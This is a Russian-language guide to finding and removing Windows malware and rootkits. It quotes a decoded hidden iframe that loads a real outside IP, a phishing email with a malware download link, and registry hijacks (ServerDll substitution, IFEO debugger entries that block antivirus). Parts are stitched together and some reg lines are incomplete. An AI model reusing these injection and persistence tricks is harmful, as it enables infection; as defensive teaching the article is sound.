Как удалить вирусы с компьютера? Как очистить компьютер от вирусов
Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.
Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.
Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.
Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:
Но основным "поставщиком" вирусов, несомненно, является Интернет и, как основное прикладное программное обеспечение - "Обозреватель Интернета" (браузер). Сайты становятся все сложнее и красивее, появляются новые мультимедийные возможности, растут социальные сети, постоянно увеличивается количество серверов и растет число их посетителей. Обозреватель Интернета постепенно превращается в сложный программный комплекс - интерпретатор данных, полученных извне. Другими словами, - в программный комплекс, выполняющий программы на основании неизвестного содержимого. Разработчики обозревателей (браузеров) постоянно работают над повышением безопасности своих продуктов, однако производители вирусов тоже не стоят на месте, и вероятность заражения системы вредоносным ПО остается довольно высокой. Существует мнение, что если не посещать "сайты для взрослых", сайты с серийными номерами программных продуктов и т.п. то можно избежать заражения. Это не совсем так. В Интернете немало взломанных сайтов, владельцы которых даже не подозревают о взломе. И давно прошли те времена, когда взломщики тешили свое самолюбие подменой страниц (дефейсом). Сейчас подобный взлом обычно сопровождается внедрением в страницы вполне добропорядочного сайта, специального кода для заражения компьютера посетителя. Кроме того, производители вирусов используют наиболее популярные поисковые запросы для отображения зараженных страниц в результатах выдачи поисковых систем. Особенно популярны запросы с фразами "скачать бесплатно" и " скачать без регистрации и SMS". Старайтесь не использовать эти слова в поисковых запросах, иначе, риск получения ссылки на вредоносные сайты значительно возрастает. Особенно, если вы ищете популярный фильм, еще не вышедший в прокат или последний концерт известнейшей группы.
Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:
iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"
Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.
В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.
Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.
Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.
Здравствуйте.
Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
наш фирменный бланк резюме и отправить его по адресу [email protected]
Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
позвоним Вам в течение нескольких дней. Не забудьте
указать телефон, а также позицию, на которую Вы претендуете. Желательно
также указать пожелания по окладу.
Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
http://verano-konwektor.pl/resume.exe
Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.
Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего,
получите
троянскую программу на свой компьютер.
Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
Копирую
файл на другие компьютеры, где установлены различные антивирусы - просто для
очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8
Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция.
Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле,
не зря набирает популярность.
Все эксперименты выполняю на виртуальной машине с операционной системой
Windows XP. Учетная запись с правами администратора, поскольку, чаще всего
вирусы успешно внедряются в систему только, если пользователь является
локальным администратором.
Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал
свое черное дело.
Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка.
На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP.
Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же
оставить вирусу хоть какую-то возможность проявить свою активность.
Как правило, после внедрения, вирус должен связаться с хозяином или с заданным
сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете
сказанного выше, умный вирус может их замаскировать, кроме того, он может и
обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого
не произошло, но для надежного анализа сетевой активности весь трафик
зараженной машины лучше пустить через другую, незараженную, где можно быть
уверенным, что правила брандмауэра выполняются, а анализатор трафика (я
пользовался Wireshark"ом) выдает то, что есть на самом деле.
Перезагружаюсь.
Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет,
поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в
службах, ни в системных каталогах не появилось ничего нового.
Просмотр системного журнала дает только одну наводку - системе не удалось
запустить таинственную службу grande48
. Такой службы у меня быть не
могло, да и по времени это событие совпало с моментом внедрения.
Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре
записи о службе grande48 и отсутствие второго сообщения в журнале системы об
ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая
недоработка вирусописателей. Хотя и несущественная, ведь большинство
пользователей журнал событий не просматривают, да и на момент возникновения
подозрения на заражение эта запись в журнале уже может и отсутствовать.
Определяем наличие вируса в системе.
1. Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.
2. Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:
Кстати, даже не вникая в содержания строк, можно сразу заметить,
что имеются очень "свежие" по времени создания/модификации записи или файлы
(колонка "Timestamp")
. Нас в первую очередь должны заинтересовать файлы
с
описанием (колонка "Description"
) - "Hidden from Windows API"
- скрыто
от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это,
естественно, ненормально.
Два файла - grande48.sys
и
Yoy46.sys
- это как раз то, что мы
ищем. Это и есть
прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая
скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала -
это
нормальные драйверы Windows XP. Кроме того, вирус скрывал их
наличие только в папке \system32
, а их копии
в \system32\dllcache
остались
видимыми.
Напомню, что в Windows XP применяется специальный механизм защиты системных
файлов, называемый Windows File Protection (WFP)
. Задача WFP - автоматическое
восстановление важных системных файлов при их удалении или замене устаревшими
или неподписанными копиями. Все системные файлы Windows XP имеют цифровую
подпись и перечислены в специальной базе данных, используемой WFP. Для хранения
копий файлов используется папка \system32\dllcache
и, отчасти, \Windows\driver cache
. При удалении
или замене одного из системных файлов, WFP автоматически копирует "правильную"
его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache ,
то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP.
Попробуйте удалить vga.sys из \system32, и система тут же его восстановит,
используя копию из dllcache. А ситуация, когда, при работающей системе
восстановления файлов, файл драйвера есть в \dllcache и его не видно в
\system32 - это тоже дополнительный признак наличия руткита в системе.
Удаляем вирус из системы.
Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.
Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.
Выбираем систему (если их несколько):
Вводим пароль администратора.
Список драйверов и служб можно просмотреть с помощью команды listsvc:
В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:
Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:
Водим команду EXIT и система уходит на перезагрузку.
После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его
файлы и очистить реестр от его записей.
Можно проделать это вручную, а можно
использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения,
будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря
Данилова. Скачать можно отсюда -
http://freedrweb.ru
Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет
восстановить работоспособность системы, пораженной действиями вирусов,
на рабочих станциях и серверах под управлением Windows\Unix, скопировать
важную информацию на сменные носители либо другой компьютер, если действия
вредоносных программ сделали невозможным загрузку компьютера.
Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и
подозрительных файлов, но и попытается вылечить зараженные объекты.
Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso)
и записать его на CD. Будет создан загрузочный диск, загрузившись с которого,
руководствуетесь простым и понятным меню.
Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD,
можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить,
загрузившись в другой ОС, например, с использованием
Winternals ERD Commander. Для сканирования зараженной системы необходимо
указать именно ее жесткий диск (Режим "Выборочная проверка").
Сканер поможет вам найти файлы вируса, и вам останется лишь
удалить связанные с ним записи из реестра.
Поскольку вирусы научились прописываться на запуск в безопасном режиме
загрузки, не мешает проверить ветку реестра:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
Разделы:
Minimal
- список драйверов и служб запускаемых в безопасном режиме
(Safe Mode)
Network
- то же, но с поддержкой сети.
Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.
Если у вас возникли сомнения относительно какого-либо файла, то можно
воспользоваться бесплатной онлайновой антивирусной службой
virustotal.com .
Через специальную форму на главной странице сайта закачиваете подозрительный
файл и ждете результатов. Сервисом virustotal используются консольные версии
множества антивирусов для проверки вашего подозреваемого файла.
Результаты выводятся на экран. Если файл является вредоносным, то с большой
долей вероятности, вы сможете это определить. В какой-то степени сервис
можно использовать для выбора "лучшего антивируса".
ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают
ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок
компьютера, браузера, файлов...
Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services
Информация, предназначенная для диспетчера сеансов, находится в ключе реестра
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager
Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems
То найдете значения
ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:
ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)
Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.
Поправить ситуацию можно так:
Загрузится в консоль восстановления (или в любой другой системе), и
скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку
под именем basepvllk32.dll. После чего система загрузится и можно будет
вручную подправить запись в реестре.
- загрузиться с использованием Winternals ERD Commander и исправить запись в
реестре на ServerDll=basesrv
. Или выполнить откат системы с
использованием точки восстановления.
Еще один характерный пример. Вредоносная программ регистрируется
как отладчик процесса explorer.exe, создавая в реестре запись типа:
"Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к
невозможности запуска explorer.exe. В результате вы получаете пустой рабочий
стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию
клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите
и запускаете редактор реестра regedit.exe. Затем удаляете ключ
HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
и перезагружаетесь.
В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"
== Май 2008. ==
Дополнение
Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.
После удаления вируса ни один антивирус не работает.
Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения
анализа результатов проверки системы за счет отметки легитимных объектов
цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:
Опасно - отладчик процесса "avz.exe"="ntsd-d"
Опасно - отладчик процесса "avguard.exe"="ntsd-d"
:.
Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Раздела с именем avz.exe
, содержащем строковый параметр с именем
"Debugger"
и значением .
И, как выяснилось позже, в указанной ветке присутствовал не только раздел
"avz.exe", но и разделы с именами исполняемых модулей практически всех
известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe -
вполне легальный отладчик Windows, стандартно присутствующий во всех версиях
ОС, но подобная запись в реестре приводит к невозможности запуска приложения,
имя исполняемого файла которого совпадает с именем раздела???.exe.
После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.
В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:
Windows Registry Editor Version 5.00
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
:.. и т.д.
Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).
Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.
Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.
Использование Dr.Web LiveCD - самый простой и не требующий специальных знаний способ. Скачиваете iso-образ CD, записываете его на болванку, загружаетесь с CD-ROM и запускаете сканер.
Использование Winternals ERD Commander. Загружаетесь с него, подключившись к зараженной системе, и выполняете откат на контрольную точку восстановления с датой, когда заражения еще не было. Выбираете меню System Tools - System Restore
. Если откат средствами ERD Commander"а выполнить невозможно, попробуйте вручную найти файлы реестра в данных контрольных точек и восстановить их в каталог Windows. Как это сделать я подробно описал в статье "Работа с реестром".
Загрузка в другой ОС и ручное удаление вируса. Самый сложный, но самый эффективный способ. В качестве другой ОС удобнее всего использовать тот же ERD Commander. Методика обнаружения и удаления вируса может быть следующей:
Переходите на диск зараженной системы и просматриваете системные каталоги на наличие исполняемых файлов и файлов драйверов с датой создания близкой к дате заражения. Перемещаете эти файлы в отдельную папку. Обратите внимание на каталоги
\Windows
\Windows\system32
\Windows\system32\drivers
\Windows\Tasks\
\RECYCLER
\System Volume Information
Каталоги пользователей \Documents And Settings\All Users
и
\Documents And Settings\имя пользователя
Очень удобно использовать для поиска таких файлов FAR Manager, с включенной сортировкой по дате для панели, где отображается содержимое каталога (комбинация CTRL-F5). Особое внимание стоит обратить на скрытые исполняемые файлы. Существует также эффективная и простая утилита от Nirsoft - SearchMyFiles, применение которой позволяет, в подавляющем большинстве случаев, легко обнаружить вредоносные файлы даже без использования антивируса. Способ обнаружения вредоносных файлов по времени создания (Creation time)
Подключаетесь к реестру зараженной системы и ищете в нем ссылки на имена этих файлов. Сам реестр не мешает предварительно скопировать (полностью или, по крайней мере, те части, где встречаются выше указанные ссылки). Сами ссылки удаляете или изменяете в них имена файлов на другие, например - file.exe на file.ex_, server.dll на server.dl_, driver.sys на driver.sy_.
Данный способ не требует особых знаний и в случаях, когда вирус не меняет дату модификации своих файлов (а это пока встречается очень редко) - дает положительный эффект. Даже если вирус не обнаруживается антивирусами.
Если предыдущие методики не дали результата, остается одно - ручной поиск возможных вариантов запуска вируса. В меню Administrative Tools ERD Commander"а имеются пункты:
Autoruns
- информация о параметрах запуска приложений и оболочке пользователя.
Service and Driver Manager
- информация о службах и драйверах системы.
Все мы хотя бы раз в жизни сталкивались с вредоносными программами. Вредоносная программа – это приложение, которое следит за вами, уничтожает ваши данные или жесткий диск, а также передает кому-либо другому контроль за вашим девайсом. Что бы ни делала подобная программа, она вряд ли принесет пользу вам или вашему компьютеру. И, учитывая огромное количество и разнообразие существующих вредоносных программ, это всего лишь вопрос времени, когда вы подвергнетесь атаке.
Не паникуйте - вот наиболее ценный совет, который можно дать человеку, подозревающему наличие вируса на его компьютере. Кроме того, не стоит думать, что теперь вам придется полностью очистить ваш ПК от всех файлов и начать работу на нем с чистого листа. Чаще всего избавиться от вредоносной программы можно, не затрагивая все содержимое. Да, некоторые данные могут быть потеряны в ходе удаления вируса, но вам вряд ли придется удалить все, что у вас есть.
Для начала вам стоит убедиться, что ваш компьютер действительно заражен вирусом. Существует несколько признаков, позволяющих это распознать. Например, медленная работа или выскакивающее сообщение о повреждении файла при попытке его открыть. Если ваш браузер внезапно меняет начальную страницу или автоматически переходит на незнакомый вам сайт, это также может быть сигналом заражения вредоносным ПО. Также об этом может свидетельствовать частое выключение или поломки компьютера.
Если вы предполагаете, что ваш компьютер заражен, то вам необходимо запустить антивирусную программу. Некоторые вирусы умны настолько, что отключают антивирусник. Если у вас его вообще нет, то самое время его приобрести и установить. Некоторые вирусы попытаются не дать вам загрузить антивирусное приложение. В таком случае, вам необходимо скачать программу на другой компьютер и перенести ее при помощи диска или флеш-карты.
Как обнаружить и удалить компьютерный вирус
По сути, наличие антивирусного программного обеспечения – это практические обязательное требование для всех пользователей операционной системы Windows. Вы можете крайне аккуратно использовать свой компьютер и, исходя из этого, быть уверены, что не подцепите вирус, но правда заключается в том, что создатели вредоносных программ находятся в постоянном поиске новых способов их распространения. На данный момент существует несколько различных антивирусных программ: одни можно установить бесплатно, другие же придется купить. Стоит помнить, что в бесплатной версии почти всегда отсутствуют некоторые важные функции, которые есть в платной версии того же продукта.
Давайте начнем с предположения, что вы можете запустить антивирусное ПО на своем компьютере (чуть ниже мы расскажем, что делать, если вдруг это невозможно). Если у вас стоит самый современный авнтивирусник, который вовремя обновляется, то он должен обнаруживать вредоносные программы на вашем компьютере. У большинства антивирусных ПО есть специальный раздел со всеми обнаруженными к данному моменту вирусами. Выпишите на отдельный листок все названия найденных на вашем компьютере вирусов – это может потом пригодиться.
Многие антивирусные программы могут попытаться удалить или изолировать вредоносную программу. Вам всего лишь надо выбрать необходимый вариант и подтвердить ваш выбор. Для большинства пользователей это наилучший вариант решения проблемы; попытка самостоятельно избавиться от вируса может привести к не лучшим последствиям.
После того, как антивирус сообщит, что вредоносные программы были успешно удалены, вам необходимо выключить или перезагрузить компьютер, а после его повторного включения заново запустить антивирусник. Если он не найдет ни одного вируса, значит проблема решена. Если же вирус будет найден, значит, вам придется заново попытаться его удалить. Если антивирусное ПО раз за разом будет находить одну и ту же вредоносную программу, значит, нужно попытаться удалить ее каким-то другим образом.
Второй лишний
Одна антивирусная программа – хорошо, а две – еще лучше, так? Нет! Антивирус может использовать значительную часть вычислительной мощности вашего компьютера. Использование сразу двух антивирусов существенно замедлит ваш компьютер и может даже привести к его сбою.
Кроме того, далеко не все антивирусные программы совместимы друг с другом, поэтому использование сразу нескольких может сделать ваш компьютер еще более незащищенным, чем отсутствие всяких антивирусов.
Если вы не можете получить доступ к своему антивирусному программному обеспечению, или при сканировании раз за разом обнаруживается одно и то же вредоносное ПО, вам может потребоваться запуск компьютера в безопасном режиме. Многие компьютерные вирусы могут хранить файлы в папке реестра Windows. В этой папке содержатся инструкции для операционной системы и важная информация о программах на вашем компьютере. В этой же папке может быть заложена программа, которая запускает вирус вместе с запуском операционной системы. Включив свой компьютер в безопасном режиме, вы получите доступ лишь к ключевым элементам операционной системы Windows.
Попробуйте запустить антивирусное ПО в данном режиме. Если вы увидите, что оно обнаружило новую вредоносную программу, вполне возможно, что именно в этой программе и кроется ключ к решению проблемы. Некоторые вредоносные программы существуют только для того, чтобы скачивать и запускать другие вредоносные программы на вашем компьютере. Будет прекрасно, если вы сможете их все удалить.
Если по какой-то причине ваш антивирусник не может удалить вирус, то придется еще немного постараться. Помните совет о том, чтобы выписать все названия найденных вирусов? Сейчас они нам могут пригодиться. Вам нужно будет найти каждое из выписанных названий в интернете, обязательно на странице используемой вами антивирусной фирмы. Необходимо использовать именно ту фирму, чье антивирусное ПО у вас стоит, потому что разные фирмы иногда дают разные имена одним и тем же вирусам.
На большинстве сайтов антивирусного ПО приводятся все файлы, связанные с конкретным вирусов, а также где эти файлы предположительно можно найти. Возможно, вам придется немного покопаться, чтобы найти каждый файл. Перед удалением любых файлов необходимо сохранить резервную копию папки реестра. Если вы случайно удалите не тот файл, это может затруднить или даже нарушить работу вашего компьютера.
Удалите все связанные с вредоносным ПО файлы, которые есть в вашем списке. Как только это будет сделано, вам нужно будет перезагрузить компьютер, снова запустить антивирусное программное обеспечение и надеяться, что больше никаких вирусов не будет найдено.
Вы также можете обновить регистрационную информацию своих аккаунтов. Некоторые вредоносные программы могут отслеживать ввод с клавиатуры и отсылать ваши пароли и информацию о вас удаленному пользователю. Это тот случай, когда лучше перестраховаться, чем потом жалеть.
Защита от компьютерных вирусов
Существует несколько простых правил, позволяющих защитить себя от компьютерных вирусов. Большинство из них исходят из категории здравого смысла.
Не открывайте вложения или гиперссылки, присланные вам по мейлу незнакомыми людьми. Часто подобные действия могут перевести вас на страницу с вредоносной программой. Если ваша почта настроена на автоматическое открытие подобных ссылок, измените настройки, иначе вы можете подцепить вирус.
